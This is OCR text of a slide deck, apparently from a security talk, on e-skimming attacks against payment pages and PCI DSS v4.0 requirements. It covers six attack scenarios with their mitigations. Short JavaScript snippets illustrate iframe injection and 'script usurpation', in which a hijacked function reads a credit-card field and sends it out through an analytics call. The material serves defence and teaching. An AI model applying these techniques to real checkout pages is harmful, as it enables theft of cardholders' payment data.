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What is E-Skimming?

Attacker
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Compromises a third- Performs a supply chain attack via the
party component compromised third-party JavaScript
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Compromises target website via R T e e eE

vulnerabilities or misconfigurations

Payment Information is sent to attacker
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Web Skimmer steals payment
information on the checkout



Why should we care?

It's just one credit card...

“l only care about securing the database”




PCI DSS v4.0 new eSkimming requirements

Requirement 6.4.3 Requirement 11.6.1

All scripts executing on A change and tamper-
the payment page are detection mechanism is

authorized and justified, deployed to alert on
and their integrity is unauthorized changes
ensured

Scope: the payment page



What is the Payment Page?

“A web-based user interface containing one or more form elements intended to capture account data.”

Glossary in Appendix G of PCI DSS v4.

PAN

Cvv2

DATE

Payment

Page

A single document or instance

. Not a payment page

A document or component
displayed in an inline frame within
a non-payment page

Multiple documents or components
each containing one or more form
elements contained in multiples
inline frames within a non-payment

page



Parent pages can affect the security of the payment page

That's why for SAQ-A

Note: For SAQ A, Requirement 6.4.3 applies to a merchant’s website(s) that includes a TPSP’s/payment processor’s embedded payment page/form (for example, an
inline frame or iFrame).

Note: For SAQ A, Requirement 11.6.1 applies to a merchant’s website that includes a TPSP’s/payment processor’'s embedded payment page/form (for example, an
inline frame or iFrame).



Is the parent page becoming lighter?

Requirement 6.4.3

All scripts executing on
the payment page=t

authorized and justified,
and their integrity is
ensured

Answer: quite the opposite!



Attacks against different types of payment pages

PAN
Cvv2

DATE

iFrame overlay

Skimming (Formjacking)

Form overlay iFrame hijacking

Form overla
Fake forms Yy

@ Fake forms



Scenario 1

Skimming attack



Skimming attack
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The payment page




Skimming attack Mitigation

CSP & SRI Scanner

Agent

SRI can in theory prevent a It can potentially detect the
modified script to run, but skimmer.

Detect and block

unpracticable due to third

parties being updated all the Some attackers use bot

: . . * Vendor needs to be monitorin
time detection techniques. o

event hijacking and/or access to
forms




Scenario 2

Form Overlay



Form Overlay

The payment page



Form Overlay Mitigation

CSP & SRI

SRI can in theory prevent a
modified script to run, but

unpracticable due to third
parties being updated all the
time

Scanner

It can potentially detect the
malicious code.

Some attackers use bot
detection techniques.

Agent

Detect and block

* Vendor needs to be monitoring form
related behaviors
including access to forms




Scenario 3

Fake Form



Fake Form

A page before the payment page

Pci



Fake Form Mitigation

CSP & SRI

SRI can in theory prevent a
modified script to run, but

unpracticable due to third
parties being updated all the
time

Scanner

It can potentially detect the
fake form and/or the
malicious code.

Some attackers use bot
detection techniques.

Agent

Detect and block

* Vendor needs to be monitoring form
related behaviors
including access to forms




Scenario 4

IFrame Hijacking



IFrame Hijacking

The “Parent” page

~
~

var i = document.createElement(“iframe”);

I.setAttribute(“src”, “https://secure.psp.com”);
document.querySelector("body").appendChild(i);



iIFrame Hijacking

Full Name

Card Number

Pay Now

The “Parent” page

__________________________________________________________

var i = document.createElement(“iframe”);
i.setAttribute(“src”, “https://secure.psp.com”);
document.querySelector("body").appendChild(i);




IFrame Hijacking Mitigation

CSP & SRI Scanner

Agent

frame-src & child-src

directives will prevent The best it can do is Detect and block

the browser to load an potentially detect the
iframe from an situation, but not block
unauthorized domain

* Vendor needs to be monitoring
iframe related behaviors




Scenario 5

iIFrame Overlay



iIFrame Overlay

The “Parent” page

~
~

var i = document.createElement(“iframe”);

I.setAttribute(“src”, “https://secure.psp.com”);
document.querySelector("body").appendChild(i);



iIFrame Overlay

The “Parent” page




iIFrame Overlay Mitigation

CSP & SRI Scanner

frame-src & child-src
directives will prevent The best it can do is

the browser to load an potentially detect the
iframe from an situation, but not block
unauthorized domain

Agent

Detect and block

* Vendor needs to be monitoring
iframe related behaviors




Scenario 6

Script Usurpation



Script Usurpation

Behavior: form access .{ form-process.js

Initiator: form-process.js function autocomplete() {
var inputX = document.querySelector(“input”).value;
oo ! if (inputX..startsWith(“...”)) ...

window.setTimeout(autocomplete, 1000);
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" window.autocomplete = function() {
Behavior: form access var creditCard = document.querySelector(“credit-card”).value;

The Pay Initiator: form-process.js | getAnalyticslframe()._xxmga(“send”, “event”, eventlD,

creditCard, getUUID());
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Script Usurpation Mitigation

CSP & SRI Scanner or Agent Code Integrity

Can prevent monkey
patching of functions

CSP will not block an These approaches will
from 15t or 3" party
scripts

allowListed domain not detect Script
such Google Analytics Usurpation

* Vendor needs to offer hardening
against monkey patching
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Key Takeaways

e eSkimming attacks are going beyond simple skimming of the payment form

e The parent page or even other pages can also be targeted

e Securing payment data properly requires more than controlling where websites load code
from and what domains they send data to

o For example, controlling forms and iframes behaviors are just as important

e Securing payments scales better by monitoring new behaviors and authorizing them
e Beware the danger of Script Usurpation, as it can help bypass monitoring policies
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